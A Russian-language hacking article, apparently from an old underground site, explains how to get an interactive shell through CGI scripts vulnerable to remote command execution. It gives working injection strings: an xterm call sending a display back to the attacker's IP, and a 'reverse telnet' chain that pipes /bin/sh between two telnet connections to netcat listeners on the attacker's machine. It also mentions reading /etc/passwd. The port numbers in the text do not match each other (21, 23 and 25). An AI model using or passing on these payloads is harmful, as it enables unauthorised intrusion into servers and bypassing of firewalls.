Автор: 'http://lbyte.void.ru/' Источник: http://lbyte.void.ru/ Многие знакомы с уязвимостями в cgi приложениях phf, a1disp4.cgi, ustorekeeper.pl, pals-cgi … У них есть одна отличительная особенность - удаленное выполнение команд с правами веб сервера. Это конечно же все хорошо, но я уверен, что 90% script kiddies, дальше чем [cat%20/etc/passwd] не заходили. Сейчас я рассмотрю несколько способов получения шела через уязвимые скрипты, выполняющие команды на удаленной системе. Не маловажным плюсом данных методов является то, что никакой firewall не сможет уберечь систему, т.к. все проделывается через 80ый порт. Внимание администраторам! Уберечься от данных атак довольно сложно поэтому советую проверять скрипты которые устанавливаете на сервере, а вообще их лучше писать самому, т.к. уязвимости в коммерческих и просто бесплатных cgi скриптах находят каждый день. Надеюсь, что X window system, для вас звучит не впервые, ну освежить память нам не помешает. X window позволяет пользователям системы работать в графическом интерфейсе в среде UNIX а также позволяет различным X клиент программам при соединении отображать выходящую информацию на локальном либо удаленном сервере. Многие наверняка уже смекнули к чему я клоню >). Нам понадобиться xterm который позволяет локальным пользователям системы использовать шел. А теперь самое интересное, через скрипт скомандуем следующие: [buged script …]/usr/X11R6/bin/xterm%20-display%20[your IP]:0.0 В результате сервер запустит Х терминал, и вернет на ваш IP окно с ID=0 т.е. root shell. Следующий метод называется "reverse telnet". Название говорит само за себя, после примера все станет ясно. Запустим 2-е копии net cata на своей машине: Source code / Bash # netcat -l -v -n -p 80 listening on any 80 # netcat -l -v -n -p 21 listening on any 21 Если все сделали правильно, то у вас должны слушаться порты 80 и 21 (я выбрал данные порты, т.к. большинство firewallов позволяют соединение на них, в принце порты могут быть любыми). Далее скомандуем уязвимому скрипту следующее: [buged script …]/bin/telnet%20[your IP]%2080%20|%20/bin/sh%20|%20/bin/telnet%20[your IP]%2023 В результате через первое окно мы отдаем команды, а через второе получаем результат. Давайте разберем данный запрос. /bin/telnet%20[yourIP]%2080 - сервер подключается к вашему netcaty. Затем через pipe все входные данные передаются на шел %20|%20/bin/sh, и опять же через pipe, результат идет на netcat запущенный на 25ом порту. Как видите изобретательность, играет не маловажную роль, тем более в такой ОС как ЮНИКС ей нет придела, поэтому думайте и экспериментируйте. Кстати говоря, порывшись на заграничных сайтах посвященной безопасности, можно найти не мало хорошей информации на данную тему. Да и не только на эту.